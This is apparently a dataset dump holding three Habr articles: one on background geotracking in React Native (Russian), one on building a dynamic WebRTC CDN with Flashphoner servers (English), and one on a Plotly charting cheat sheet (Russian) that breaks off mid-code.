text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Геотрекинг в React Native
Мобильное приложение может выступать в роли «рабочего места» сотрудника, при этом бывает необходима передача географических координат и прочих данных. При кроссплатформенной разработке приложений на iOS и Android для этой задачи зачастую используют фреймворки, такие как Flutter или React Native. В этой статье мы рассказываем об особенностях работы с геолокацией в React Native на примере нашего кейса.
Надежность, скорость и уровень зрелости React Native иногда вызывают критику со стороны разработчиков, и около трех лет назад такие сомнения можно было назвать обоснованными. Однако, за это время технология стала совершеннее, а React Native признали практичным инструментом для создания широкого круга приложений. В частности, React Native подходит для приложений, которые используют географические координаты – например, различные трекеры, приложения для курьеров и т.д.
Также в сторах популярны разработанные на React Native приложения интернет-магазинов, меню ресторанов, новостные ленты, приложения для доставки, клиенты для соцсетей – таким образом, огромное количество постоянно использует React Native, даже не задумываясь об этом. Простые примеры – Facebook, Instagram, Skype, Uber Eats, Wallmart. По прогнозам, Microsoft может пополнить этот список и перевести свои мобильные приложения на React Native, особенно после того, как в нем реализовали поддержку платформы Windows. Есть поддержка React Native для [Qt](https://github.com/status-im/react-native-desktop), [macOS](https://github.com/ptmt/react-native-macos), «встроенных» приложений [weechat](https://github.com/areslabs/alita/blob/master/README_en.md), хотя поддержка и документация для этих платформ остается довольно скудной.
React Native может практически все то же самое, что и нативное приложение. Например, получать информацию с датчиков устройства, как это делают приложения на Java/Kotlin или ObjC/Swift, или отправлять данные в фоновом режиме, используя Foreground Service или Background fetch. Отличие только в том, что в React Native необходимо реализовать интерфейс для взаимодействия между нативной частью и Javascript. Для повседневных задач эти интерфейсы зачастую уже реализованы. Это также касается отслеживания местоположения и работы Javascript в фоне: уже есть решения в виде самостоятельных библиотек с открытым кодом. Так сложилось, что комьюнити самостоятельно «тянет» Javascript вперед, как программисты, так и компании активно используют решения Open Source. Немногие языковые сообщества могут похвастать таким же количеством библиотек, фреймворков, качественных утилит. И все же в React Native пока ограничены некоторые возможности, которые существуют в нативной разработке, и об этом нужно помнить.
Работа с React Native
---------------------
Рассмотрим несколько ключевых факторов, которые обеспечивают скорость разработки кроссплатформенных приложений на React Native:
### Общая кодовая база
Единожды написанная логика, сверстанные экраны и компоненты на разных платформах работают и выглядят одинаково, насколько это возможно (так, на Android вместо привычных теней используют понятие «приподнятости»). Практически отсутствует вечная головная боль разработчика со старыми версиями – например, легко добавить поддержку даже для Android 4.4, хотя на практике реализация этой задачи зависит и от использования дополнительных нативных модулей.
### Оптимальный воркфлоу
Зачастую React предоставляет оптимальный воркфлоу, который делает разработку новых функций в несколько раз быстрее, чем в нативных языках. Это касается верстки, компонентного подхода, установки зависимостей, распространенных архитектурных решений для React.
### Hot Reload
Разработчику не нужно каждый раз пересобирать приложение, чтобы увидеть изменения. Благодаря Hot Reload, хватает буквально пары секунд, чтобы обновить приложение до актуального состояния. А в версии 0.61 Live Reload (теперь это Fast Refresh) дополнительно довели до ума, теперь при редактировании верстки изменения подтягиваются «на лету», не сбрасывая текущее состояние компонентов.
При создании приложения особого внимания требуют несколько ключевых областей:
**1) Javascript**
React Native нацелен на работу с Javascript, позволяя быстро описывать логику и интерфейсы. Есть много готовых модулей из мира Web и Node.js, которые можно использовать в обычном порядке (естественно, если они не связаны с DOM или с серверной частью). Несмотря на высокую скорость работы, Javascript иногда уступает нативным языкам. Здесь нет многопоточности. В React Native мы не можем напрямую обратиться к Native API, хотя в скором времени это ограничение может быть снято. Javascript в первую очередь описывает, что необходимо сделать и отрисовать в нативной части.
**2) Мост (Bridge)**
Шина, которая принимает вызовы Javascript через специальные интерфейсы, представленные библиотекой react-native. Вызовы представляют собой обычные сериализованные сообщения. Для каждого компонента – простого View, поля ввода или вызова системного диалога – есть интерфейс, описанный в Javascript, с реализованной в нативной части логикой. Шина – самая медленная часть, она асинхронна, передача данных между Javascript и «нативкой» занимает время (по всей видимости, Facebook может вообще [избавиться](https://github.com/react-native-community/discussions-and-proposals/issues/4) от нее). Зачастую проблемы производительности приложений на React Native вызваны именно работой моста, но если использовать его правильно (свести передачу данных туда-сюда к минимально необходимому), то производительность в приложениях React Native не будет значительно отличаться.
**3) Нативная часть**
Приложение на React Native – это изначально обычное нативное приложение. Особенность в том, что в нем уже подключены все необходимые библиотеки для того, чтобы можно было писать всю логику на React JS. Здесь же мы можем писать свою нативную логику, чтобы использовать (или не использовать) её в JS, добавлять обычные нативные библиотеки (например, для поддержки TLS v1.2 на KitKat и ранее). В готовые нативные приложения можно добавить поддержку React Native.
Работа с геотрекингом в React Native
------------------------------------
В одном из проектов нам нужно было разработать «мобильное рабочее место» для сотрудников нашего клиента, в частности, обеспечить передачу их географических координат в фоновом режиме.
Для работы с геолокацией в React Native есть несколько инструментов. Например, это пакет от сообщества React Native [@react-native-community/geolocation](https://github.com/react-native-community/react-native-geolocation), который покрывает большинство вариантов использования, однако, не работает в фоне.
Для реализации нашей задачи мы использовали несколько решений, в том числе библиотеку с говорящим названием [@mauron85/react-native-background-geolocation](https://github.com/mauron85/react-native-background-geolocation#readme). Первоначально эта библиотека представляла собой плагин для Cordova, но позднее автор отделил базу и сделал отдельные обертки для React Native. Также есть одноименная платная библиотека от transistorsoft, но на момент нашей работы над проектом она выигрывала разве что своей документацией.
Библиотека позволила нам задать гибкие настройки для отслеживания местоположения. Например, с какой частотой опрашивать системный сервис, как именно работать в фоне, в каком радиусе позиция будет считаться неподвижной. Настройки и методы для отправки этих координат на сервер можно было использовать «из коробки», но мы решили не спамить запросами, а агрегировать полученные координаты в хранилище и отправлять их с большим интервалом. При этом библиотека позволила запустить наше приложение как foregroundActivity, избавив нас от лишней головной боли, поскольку на многих Android-устройствах приложения в фоне могут работать только с дополнительными настройками ([Huawei, MIUI, Samsung с недавних пор](https://dontkillmyapp.com/)).
После установки можно создать компонент или просто хелпер, который управляет сервисом. Мы решили использовать компонент, чтобы монтировать его с условиями в роутере и легко подключить к redux. Настроим наш сервис:
```
import BackgroundGeolocation, {
Location,
} from '@mauron85/react-native-background-geolocation';
class ForegroundService extends PureComponent {
//...
startBackgroundService = (config: GeotrackerConfig) => {
// Задаем настройки для сервиса
BackgroundGeolocation.configure({
desiredAccuracy: BackgroundGeolocation.HIGH\_ACCURACY,
stationaryRadius: 50,
distanceFilter: config.distance,
notificationTitle: Strings.Geolocation.NOTIFICATION\_TITLE,
notificationText: Strings.Geolocation.NOTIFICATION\_DESCRIPTION,
debug: false,
startOnBoot: false,
stopOnTerminate: true,
locationProvider: BackgroundGeolocation.ACTIVITY\_PROVIDER,
interval: this.runnerInterval,
fastestInterval: 10000,
activitiesInterval: 30000,
stopOnStillActivity: false,
notificationIconColor: Colors.primary,
notificationIconSmall: 'notification\_icon',
});
// Когда мы вызовем start() произойдет запрос на разрешение к геолокации
BackgroundGeolocation.on('authorization', status => {
if (status !== BackgroundGeolocation.AUTHORIZED) {
// Пользователь отклонил разрешение
} else if (status.hasPermissions) {
// hasPermission - незадокументированое свойство, работает на обеих платформах
}
});
// Запуск сервиса
BackgroundGeolocation.start();
};
```
Мы видим, что здесь можно задать и настройки для уведомления, иконку (из нативных asset-ов). А что с разрешениями? Для Android после установки пакета дополнительно ничего не требуется, запросами на доступ к системной геолокации на себя возьмет библиотека. А вот для нормальной работы на iOS в XCode дополнительно нужно включить Background processing и Location updates во вкладке Signing & Capabilities проекта.
Основной метод для сохранения и отправки координат мы реализуем в событии on('location') в этом же методе. Он будет работать как при активном приложении, так и в свернутом состоянии:
```
BackgroundGeolocation.on('location', location => {
BackgroundGeolocation.startTask(async taskKey => {
// Нам также необходимо узнать состояние аккумулятора устройства,
// здесь же происходит отсев iOS-симуляторов
const batteryLevel = this.isSimulator
? 100
: (await DeviceInfo.getBatteryLevel()) * 100;
const updateDelta = location.time - this.lastUpdateAt;
// Обновим и добавим данные в хранилище
this.props.locationUpdate(location);
this.props.locationAddTrackerData({
altitude: location.altitude,
batteryChargeLevel: batteryLevel,
latitude: location.latitude,
longitude: location.longitude,
course: location.bearing,
accuracy: location.accuracy,
speed: location.speed,
timestamp: Number(String(location.time).substr(0, 10)),
isAlertOn: false,
});
// Пора отправить?
if (updateDelta / 1000 > config.sendInterval) {
this.syncDataWithInterval();
this.lastUpdateAt = location.time;
}
// Кастомный хелпер для AsyncStorage, сохраним последнюю известную позицию
Storage.setLastKnownLocation(location);
BackgroundGeolocation.endTask(taskKey); // ОБЯЗАТЕЛЬНО завершить задачу!
});
});
```
Здесь мы вызываем action из стора, куда передаем данные координат в кастомном формате, дополнительно сохраняя данные о показаниях аккумулятора, используя библиотеку react-native-device-info. Все это одинаково хорошо работает на Android и iOS, когда приложение активно либо находится в фоне.
Помимо этого, есть методы для получения текущего местоположения (но это работает только тогда, когда запущен сервис), подписка на переходы состояния приложения из активного в фоновое, переход в системные настройки приложения. Однако, по большому счету, самое необходимое приведено в данных примерах.
В итоге получится компонент, который можно монтировать, например, только для авторизованной части:
```
class ForegroundService extends PureComponent {
//...
componentDidMount() {
this.startBackgroundService(this.props.config);
}
componentWillUnmount() {
BackgroundGeolocation.stop();
BackgroundGeolocation.removeAllListeners();
}
startBackgroundService = (config: GeotrackerConfig) => {
BackgroundGeolocation.configure({
// ...
};
render() {
return null;
}
}
```
Если используется react-navigation, можно создать навигацию для авторизованной части следующим образом:
```
// Создаем StackNavigator в обычном порядке
const Navigator = createStackNavigator(RouteConfigs, NavigatorConfig);
class AppNavigator extends PureComponent {
static router: NavigationRouter = Navigator.router;
componentDidMount(): void {
SplashScreen && SplashScreen.hide();
}
render() {
return (
<>
);
}
}
export default AppNavigator;
```
Далее этот навигатор можно использовать обычным образом в корневом навигаторе:
```
const RootNavigator = createSwitchNavigator(
{
Auth: AuthNavigator,
App: AppNavigator,
},
{
initialRouteName: 'Auth',
},
);
export default createAppContainer(RootNavigator);
```
Таким образом сервис геолокации и обмена данными будет работать только в авторизованной части приложения.
Подводя итоги
-------------
В этой статье мы рассмотрели особенности применения React Native в приложениях с геолокацией. Как мы выяснили, используя этот фреймворк, разработчики уже сейчас могут легко отслеживать географические координаты устройства – например, в велотрекерах, приложениях для курьеров и экспедиторов, приложениях для выбора недвижимости и т.д. Библиотека покрывает большинство кейсов, связанных с геотрекингом, в частности, позволяет настраивать интервалы и экономить заряд устройства, стабильно работает в фоне на обеих платформах, поддерживает автозапуск на Android. При этом для сложных приложений, как правило, больше подходит нативная разработка (например, для работы с вычислениями и виджетами, как мы уже писали в [прошлой](https://habr.com/ru/company/simbirsoft/blog/460030/) статье).
**Спасибо за внимание, надеемся, что статья была вам полезна!** | https://habr.com/ru/post/493312/ | null | ru | null |
# Dynamic CDN for Low Latency WebRTC Streaming
Having analyzed earlier the capacity of standard [server configurations in Digital Ocean](https://habr.com/en/company/flashphoner/blog/476554/) in terms of WebRTC streaming, we have noticed that one server can cover up to 2000 viewers. In real life, cases when one server is insufficient are not uncommon.
Assume gambling amateurs in Germany are watching real-time horse races in Australia. Given that horse races are not only a sports game but also imply big gains on condition that field bets are made at the right time, the video has to be delivered with lowest possible latency.
Another example: A global corporation, one of FCMG market leaders with subsidiaries in Europe, Russia and Southeast Asia, is organizing sales manager training webinars with live streaming from the headquarters in the Mediterranean. The viewers must be able to see and hear the presenter in real time.
These examples put forward the same requirement: deliver low latency media streams to a great number of viewers. This will require deploying a content delivery network — CDN.
It should be noted that the conventional stream delivery technology using HLS is not well-suited as it can add up to 30 second delays, which are critical for a real-time show. Imagine that the horses have already finished, the results have been published on the website, while the fans are still watching the end of the race. WebRTC technology is free from this disadvantage and can guarantee less than 1 second delays, which is possible even across continents thanks to modern communication channels.
To begin with, we will see how to deploy the simplest CDN for delivering WebRTC streams and how to scale it afterwards.
CDN principles
--------------
A server in CDN can play one of the following roles:
* Origin is the server built for publishing media streams. It shares streams to other servers as well as users.
* Transcoder is the server dedicated for transcoding streams. It pulls streams from the Origin server and passes transcoded streams to Edge. We will look at this role in the following part.
* Edge is the server designed for sharing streams to users. It pulls streams from Origin or Transcoder servers and does not pass them to other CDN servers.
Origin server allows publishing WebRTC and RTMP streams or capturing streams from other sources via RTMP, RTSP or other available methods.
Users can play streams from Edge servers via WebRTC, RTMP, RTSP, HLS.
In order to minimize latency, it is desirable to transmit streams among CDN servers using WebRTC.
Static CDN is entirely described at the configuration stage. In fact, the setup of a static CDN is similar to the setup of a load balancer: all the receivers are listed in the settings of the stream source server.
For example, we have one Origin server in Frankfurt, one Edge in New York and one in Singapore
In this case Origin will be set up more or less like this:
```
edge1.thestaticcdn.com
443
edge2.thestaticcdn.com
443
```
Here comes the first issue with the static CDN: in order to include into this kind of CDN a new Edge server or exclude a server out of a CDN, it is required to modify the settings and restart all Origin servers.
The streams published on Origin are broadcast to all Edge servers listed in the settings. The decision on which Edge server the user will connect to is also taken on Origin server. Here comes the second issue: if there are few or no viewers — for example, in Singapore it’s early evening while in New York it’s the middle of the night — the streams will be broadcast to Edge 1 anyway. The traffic is being wasted to no purpose, and it is not free of charge.
These two issues can be solved using Dynamic CDN.
Now, we want to set up the CDN without restarting all Origin servers and do not want to transmit streams to Edge servers with no users connected. In this case, there is no need to keep the whole list of CDN servers somewhere in the settings. Each server must create such a list independently. In order to do this, it must know the current status of the other servers at any specific time.
Ideally, specifying the entry point — the server which begins the CDN — in the settings should be enough. During startup each server must send a request to this entry point and get in response the list of CDN nodes and published streams. If the entry point cannot be accessed, the server must wait for messages from other servers.
The server must communicate any changes in its status to other servers in the CDN.
The simplest CDN: in the centre of Europe
-----------------------------------------
Now we are going to try setting up and starting a dynamic CDN. Assume first we need to deliver media streams to viewers in Europe covering up to 5000 users. Suppose the stream source is also located in Europe
We are going to deploy three servers in a data center based in Europe. We will use Flashphoner WebCallServer (WebRTC stream video server) instances as CDN assembly components
Setup:
* Origin EU
```
cdn_enabled=true
cdn_ip=o-eu1.flashponer.com
cdn_nodes_resolve_ip=false
cdn_role=origin
```
* Edge 1 EU
```
cdn_enabled=true
cdn_ip=e-eu1.flashphoner.com
cdn_point_of_entry=o-eu1.flashponer.com
cdn_nodes_resolve_ip=false
cdn_role=edge
```
* Edge 2 EU
```
cdn_enabled=true
cdn_ip=e-eu2.flashphoner.com
cdn_point_of_entry=o-eu1.flashponer.com
cdn_nodes_resolve_ip=false
cdn_role=edge
```
Message exchange between dynamic CDN nodes is implemented via Websocket, and Secure Websocket is certainly also supported.
The streams inside CDN are broadcast via WebRTC. Usually UDP is used as transport, but if it is necessary to ensure good streaming quality with the channel between the servers being not so good, it is possible to switch to TCP. Unfortunately, in this case, the latency increases.
Restart the servers, open the Two Way Streaming example on the `o-eu1` server, publish the cyclical 10 minutes to 0 countdown timer video
Open the Player example on the `e-eu1` server, play the stream
and do the same thing on `e-eu2`
The CDN is working! As you can see on the screenshots, the timing in the video coincides to the second both on the publishing part and on the viewing part thanks to WebRTC and good channels.
And beyond we go: connecting America
------------------------------------
Now we are going to deliver streams to viewers on the American continent keeping in mind as well the publishing
We will deploy three servers in an American data center without shutting the European part of the CDN down
Setup:
* Origin US
```
cdn_enabled=true
cdn_ip=o-us1.flashponer.com
cdn_point_of_entry=o-eu1.flashponer.com
cdn_nodes_resolve_ip=false
cdn_role=origin
```
* Edge 1 US
```
cdn_enabled=true
cdn_ip=e-us1.flashphoner.com
cdn_point_of_entry=o-eu1.flashponer.com
cdn_nodes_resolve_ip=false
cdn_role=edge
```
* Edge 2 US
```
cdn_enabled=true
cdn_ip=e-us2.flashphoner.com
cdn_point_of_entry=o-eu1.flashponer.com
cdn_nodes_resolve_ip=false
cdn_role=edge
```
Restart the American servers, check the publishing
and the playback
Note that the European segment keeps working. We are going to check if the American users will be able to see the stream published from Europe. Publishing the `test_eu` stream on the `o-eu1` server
and playing it on `e-us1`
And this is also working! As for the latency, the screenshots demonstrate again the synchrony of the timer in the video on the publishing part and on the viewing part to the second.
Note that playing on an Origin server the streams published on another Origin server is not possible by default, but if necessarily needed, this can be set up accordingly.
```
cdn_origin_to_origin_route_propagation=true
```
To be continued
---------------
In summary, we have deployed a simple CDN and then have successfully scaled it to two continents publishing and playing low latency WebRTC streams. For this purpose, we did not modify the stream parameters at playback, which is quite often needed in real life: all the viewers have different channels, and in order to maintain the streaming quality it is needed, for example, to reduce the resolution or the bitrate. We will deal with this in the following part...
Related links
-------------
[Flashphoner WebCallServer image in DigitalOcean Marketplace](https://flashphoner.com/web-call-server-on-digital-ocean-marketplace) — image of Web Call Server in DigitalOcean.
[CDN for low latency WebRTC streaming](https://flashphoner.com/cdn-for-low-latency-webrtc-streaming) — Web Call Server-based content delivery network. | https://habr.com/ru/post/477304/ | null | en | null |
# Шпаргалка по визуализации данных в Python с помощью Plotly
Plotly — библиотека для визуализации данных, состоящая из нескольких частей:
* Front-End на JS
* Back-End на Python (за основу взята библиотека Seaborn)
* Back-End на R
*В этой простыне все примеры разобраны от совсем простых к более сложным, так что разработчикам с опытом будет скучно. Так же эта «шпаргалка» не заменит на 100% примеры из документации.*
*Извиняюсь за замыленные gif'ки это происходит при конвертации из видео, записанного с экрана.*
Jupyter Notebook со всеми примерами из статьи:
* **[github](https://github.com/lexnekr/plotly_lesson)**
* **[colab](https://colab.research.google.com/drive/1luF10kH3gGFGWBVE9Kd8D39BmYh-5dtE)**
[Документация](https://plotly.com/graphing-libraries/)
Так же на базе plotly и веб-сервера Flask существует специальная библиотека для создания дашбордов [Dash](https://dash.plotly.com/).
* **Plotly — бесплатная библиотека, которую вы можете использовать в коммерческих целях**
* Plotly работает offline
* Plotly позволяет строить **интерактивные** визуализации
Т.е. с помощью Plotly можно как изучать какие-то данные «на лету» (не перестраивая график в matplotlib, изменяя масштаб, включая/выключая какие-то данные), так и построить полноценный интерактивный отчёт (дашборд).
Для начала необходимо установить библиотеку, т.к. она не входит ни в стандартный пакет, ни в Anaconda. Для этого рекомендуется использовать pip:
`pip install plotly`
Если вы используете Jupyter Notebook, то можно использовать мэджик "!", поставив данный символ перед командой:
`!pip install plotly`
Перед началом работы необходимо импортировать модуль. В разных частях шпаргалки для разных задач нам понадобятся как основной модуль, так и один из его подмодулей, поэтому полный набор инструкций импорта у нас.
Так же нам понадобятся библиотеки Pandas и Numpy для работы с сырыми данными
**Код импорта функций**
`import plotly
import plotly.graph_objs as go
import plotly.express as px
from plotly.subplots import make_subplots
import numpy as np
import pandas as pd`
### Линейный график
Начнём с простой задачи построения графика по точкам.
Используем функцию f(x)=x2
Сперва поступим совсем просто и «в лоб»:
* Создадим график с помощью функции scatter из подмодуля plotly.express (внутрь передадим 2 списка точек: координаты X и Y)
* Тут же «покажем» его с помозью метода show()
Обратите внимание — график интерактивный, если навести на него курсор, то можно его приближать и удалять, выделять участки, по наведению курсора на точку получать подробную информацию, возвращать картинку в исходное положение, а при необходимости «скриншотить» и сохранять как файл.
Всё это делается с помощью JS в вашем браузере. А значит, при желании вы можете этим управлять уже после построения фигуры (*но мы этого делать пожалуй не будем, т.к. JS != Python*)
**Код**
```
x = np.arange(0, 5, 0.1)
def f(x):
return x**2
px.scatter(x=x, y=f(x)).show()
```
Более читабельно и правильно записать тот же в код в следующем виде:
```
fig = px.scatter(x=x, y=f(x))
fig.show()
```
* Создаём фигуру
* Рисуем график
* Показываем фигуру
2 строчки и готовый результат. Т.к. мы используем Express. Быстро и просто.
Но маловато гибкости, поэтому мы практически сразу переходим к более продвинутому уровню — сразу создадим фигуру и нанесём на неё объекты.
Так же сразу выведем фигуру для показа с помощью метода show().
*В отличие от Matplotlib отдельные объекты осей не создаются, хотя мы с ними ещё столкнёмся, когда захотим построить несколько графиков вместе*
```
fig = go.Figure()
#Здесь будет код
fig.show()
```
Как видим, пока пусто.
Чтобы добавить что на график нам понадобится метод фигуры add\_trace.
```
fig.add_trace(ТУТ_ТО_ЧТО_ХОТИМ_ПЕРЕДАТЬ_ДЛЯ_ОТОБРАЖЕНИЯ_И_ГДЕ)
```
Но ЧТО мы хотим нарисовать? График по точкам. График мы уже рисовали с помощью Scatter в Экспрессе, у Объектов есть свой Scatter, давайте глянем что он делает:
```
go.Scatter(x=x, y=f(x))
```
А теперь объединим:
```
fig = go.Figure()
fig.add_trace(go.Scatter(x=x, y=f(x)))
fig.show()
```
Как видим, отличия не только в коде, но и в результате — получилась гладкая кривая.
Кроме того, такой способ позволит нам нанести на график столько кривых, сколько мы хотим:
**Код**
```
fig = go.Figure()
fig.add_trace(go.Scatter(x=x, y=f(x)))
fig.add_trace(go.Scatter(x=x, y=x))
fig.show()
```
Погодите, что это такое? Справа появилась ещё и легенда!
Впрочем, логично, пока график был один, зачем нам легенда?
Но магия Plotly тут не заканчивается. Нажмите на любую из подписей в легенде и соответствующий график исчезнет, а надпись станет более бледной. Вернуть их позволит повторный клик.
**Подписи графиков**
Добавим атрибут name, в который передадим строку с именем графика, которое мы хотим отображать в легенде.
Plotly поддерживает LATEX в подписях (аналогично matplotlib через использование $$ с обеих сторон).
**Код**
```
fig = go.Figure()
fig.add_trace(go.Scatter(x=x, y=f(x), name='$$f(x)=x^2$$'))
fig.add_trace(go.Scatter(x=x, y=x, name='$$g(x)=x$$'))
fig.show()
```
К сожалению, это имеет свои ограничения, как можно заметить подсказка при наведении на график отображается в «сыром» виде, а не в LATEX.
Победить это можно, если использовать HTML разметку в подписях. В данном примере я буду использовать тег sup. Так же заметьте, что шрифт для LATEX и HTML отличается начертанием.
**Код**
```
fig = go.Figure()
fig.add_trace(go.Scatter(x=x, y=f(x), name='f(x)=x2'))
fig.add_trace(go.Scatter(x=x, y=x, name='$$g(x)=x$$'))
fig.show()
```
С увеличением длины подписи графика, легенда начала наезжать на график. Мне это не нравится, поэтому перенесём легенду вниз.
Для этого применим к фигуре метод update\_layout, у которого нас интересует атрибут `legend_orientation fig.update_layout(legend_orientation="h")`
**Код**
```
fig = go.Figure()
fig.add_trace(go.Scatter(x=x, y=f(x), name='f(x)=x2'))
fig.add_trace(go.Scatter(x=x, y=x, name='$$g(x)=x$$'))
fig.update_layout(legend_orientation="h")
fig.show()
```
Хорошо, но слишком большая часть рабочего пространства ноутбука не используется. Особенно это заметно сверху — большой отступ сверху до поля графика.
По умолчанию поля графика имеют отступ 20 пикселей. Мы можем задать свои значения отступам с помощью update\_layout, у которого есть атрибут margin, принимающий словарь из отступов:
* l — отступ слева
* r — отступ справа
* t — отступ сверху
* b — отступ снизу
Зададим везде нулевые отступы `fig.update_layout(margin=dict(l=0, r=0, t=0, b=0))`
*update\_layout можно применять последовательно несколько раз, либо можно передать все аргументы в одну функцию (мы сделаем именно так)*
**Код**
```
fig = go.Figure()
fig.add_trace(go.Scatter(x=x, y=f(x), name='f(x)=x2'))
fig.add_trace(go.Scatter(x=x, y=x, name='$$g(x)=x$$'))
fig.update_layout(legend_orientation="h",
margin=dict(l=0, r=0, t=0, b=0))
fig.show()
```
Поскольку подписи в легенде короткие, мне не нравится, что они расположены слева. Я бы предпочёл выровнять их по центру.
Для этого можно использовать у update\_layout атрибут legend, куда передать словарь с координатами для сдвига (*сдвиг может быть и по вертикали, но мы используем только горизонталь*).
Сдвиг задаётся в долях от ширины всей фигуры, но важно помнить, что сдвигается левый край легенды. Т.е. если мы укажем 0.5 (50% ширины), то надпись будет на самом деле чуть сдвинута вправо.
*Т.к. реальная ширина зависит от особенностей вашего экрана, браузера, шрифтов и т.п., то этот параметр часто приходится подгонять. Лично у меня для этого примера неплохо работает 0.43.*
Чтобы не шаманить с шириной, можно легенду относительно точки сдвига с помощью аргумента xanchor.
В итоге для легенды мы получим такой словарь:
```
legend=dict(x=.5, xanchor="center")
```
**Код целиком**
```
fig = go.Figure()
fig.add_trace(go.Scatter(x=x, y=f(x), name='f(x)=x2'))
fig.add_trace(go.Scatter(x=x, y=x, name='$$g(x)=x$$'))
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
margin=dict(l=0, r=0, t=0, b=0))
fig.show()
```
Стоит сразу задать подписи к осям и графику в целом. Для этого нам вновь понадобится update\_layout, у которого добавится 3 новых аргумента:
```
title="Plot Title",
xaxis_title="x Axis Title",
yaxis_title="y Axis Title",
```
*Следует заметить, что сдвиги, которые мы задали ранее могут негавтивно сказаться на читаемости подписей (так заголовок графика вообще вытесняется из области видимости, поэтому я увеличу отступ сверху с 0 до 30 пикселей*
**Код**
```
fig = go.Figure()
fig.add_trace(go.Scatter(x=x, y=f(x), name='f(x)=x2'))
fig.add_trace(go.Scatter(x=x, y=x, name='$$g(x)=x$$'))
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
title="Plot Title",
xaxis_title="x Axis Title",
yaxis_title="y Axis Title",
margin=dict(l=0, r=0, t=30, b=0))
fig.show()
```
Вернёмся к самим графикам, и вспомним, что они состоят из точек. Выделим их с помощью атрибута mode у самих объектов Scatter.
Используем разные варианты выделения для демонстрации:
**Код**
```
fig = go.Figure()
fig.add_trace(go.Scatter(x=x, y=f(x), mode='lines+markers', name='f(x)=x2'))
fig.add_trace(go.Scatter(x=x, y=x, mode='markers', name='$$g(x)=x$$'))
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
margin=dict(l=0, r=0, t=0, b=0))
fig.show()
```
Теперь особенно заметно, что LATEX в функции g(x)=x отображается некорректно при наведении курсора мыши на точки.
Давайте скроем эту информацию.
Зададим для всех графиков с помощью метода update\_traces поведение при наведении. Это регулирует атрибут hoverinfo, в который передаётся маска из имён атрибутов, например, «x+y» — это только информация о значениях аргумента и функции:
**Код**
```
fig = go.Figure()
fig.add_trace(go.Scatter(x=x, y=f(x), mode='lines+markers', name='f(x)=x2'))
fig.add_trace(go.Scatter(x=x, y=x, mode='markers', name='$$g(x)=x$$'))
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
margin=dict(l=0, r=0, t=0, b=0))
fig.update_traces(hoverinfo="x+y")
fig.show()
```
Как-то недостаточно наглядно, не находите?
Давайте разрешим использовать информацию из всех аргументов и сами зададим шаблон подсказки.
* hoverinfo=«all»
* в hovertemplate передаём строку, используем HTML для форматирования, а имена переменных берём в фигурные скобки и выделяем %, например, %{x}
**Код**
```
fig = go.Figure()
fig.add_trace(go.Scatter(x=x, y=f(x), mode='lines+markers', name='f(x)=x2'))
fig.add_trace(go.Scatter(x=x, y=x, mode='markers', name='g(x)=x'))
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
margin=dict(l=0, r=0, t=0, b=0))
fig.update_traces(hoverinfo="all", hovertemplate="Аргумент: %{x}
Функция: %{y}")
fig.show()
```
А что если мы хотим сравнить информацию на 2 кривых в точках, например, с одинаковых аргументом?
Т.к. это касается всей фигуры, нам нужен update\_layout и его аргумент hovermode.
**Код**
```
fig = go.Figure()
fig.add_trace(go.Scatter(x=x, y=f(x), mode='lines+markers', name='f(x)=x2'))
fig.add_trace(go.Scatter(x=x, y=x, mode='markers', name='g(x)=x'))
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
hovermode="x",
margin=dict(l=0, r=0, t=0, b=0))
fig.update_traces(hoverinfo="all", hovertemplate="Аргумент: %{x}
Функция: %{y}")
fig.show()
```
Кстати, маркерами можно управлять для конкретной кривой и явно.
Для этого используется аргумент marker, который принимает на вход словарь. [Подробный пример](https://plotly.com/python/marker-style/).
А мы лишь ограничимся баловством:
**Код**
```
fig = go.Figure()
fig.add_trace(go.Scatter(x=x, y=f(x), mode='lines+markers', name='f(x)=x2'))
fig.add_trace(go.Scatter(x=x, y=x, mode='markers',name='g(x)=x',
marker=dict(color='LightSkyBlue', size=20, line=dict(color='MediumPurple', width=3))))
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
hovermode="x",
margin=dict(l=0, r=0, t=0, b=0))
fig.update_traces(hoverinfo="all", hovertemplate="Аргумент: %{x}
Функция: %{y}")
fig.show()
```
Кажется теперь на графике плохо видно ту часть, где кривые пересекаются (вероятно наиболее интересную для нас).
Для этого у нас есть методы фигуры:
* update\_yaxes — ось Y (вертикаль)
* update\_xaxes — ось X (горизонталь)
С их помощью зададим интервалы отображения для осей (*это только начальное положение, ничто не мешает нам сменить масштаб в процессе взаимодействия с графиком*).
**Код**
```
fig = go.Figure()
fig.update_yaxes(range=[-0.5, 1.5])
fig.update_xaxes(range=[-0.5, 1.5])
fig.add_trace(go.Scatter(x=x, y=f(x), mode='lines+markers', name='f(x)=x2'))
fig.add_trace(go.Scatter(x=x, y=x, mode='markers',name='g(x)=x',
marker=dict(color='LightSkyBlue', size=20, line=dict(color='MediumPurple', width=3))))
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
hovermode="x",
margin=dict(l=0, r=0, t=0, b=0))
fig.update_traces(hoverinfo="all", hovertemplate="Аргумент: %{x}
Функция: %{y}")
fig.show()
```
Хорошо, но правильно было бы нанести осевые линии.
Для этого у тех же функций есть 3 атрибута:
* zeroline — выводить или нет осевую линию
* zerolinewidth — задаёт толщину осевой (в пикселях)
* zerolinecolor — задаёт цвет осевой (строка, можно указать название цвета, можно его код, как принято в [HTML-разметке](http://htmlbook.ru/css/value/color))
**Код**
```
fig = go.Figure()
fig.update_yaxes(range=[-0.5, 1.5], zeroline=True, zerolinewidth=2, zerolinecolor='LightPink')
fig.update_xaxes(range=[-0.5, 1.5], zeroline=True, zerolinewidth=2, zerolinecolor='#008000')
fig.add_trace(go.Scatter(x=x, y=f(x), mode='lines+markers', name='f(x)=x2'))
fig.add_trace(go.Scatter(x=x, y=x, mode='markers',name='g(x)=x',
marker=dict(color='LightSkyBlue', size=20, line=dict(color='MediumPurple', width=3))))
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
hovermode="x",
margin=dict(l=0, r=0, t=0, b=0))
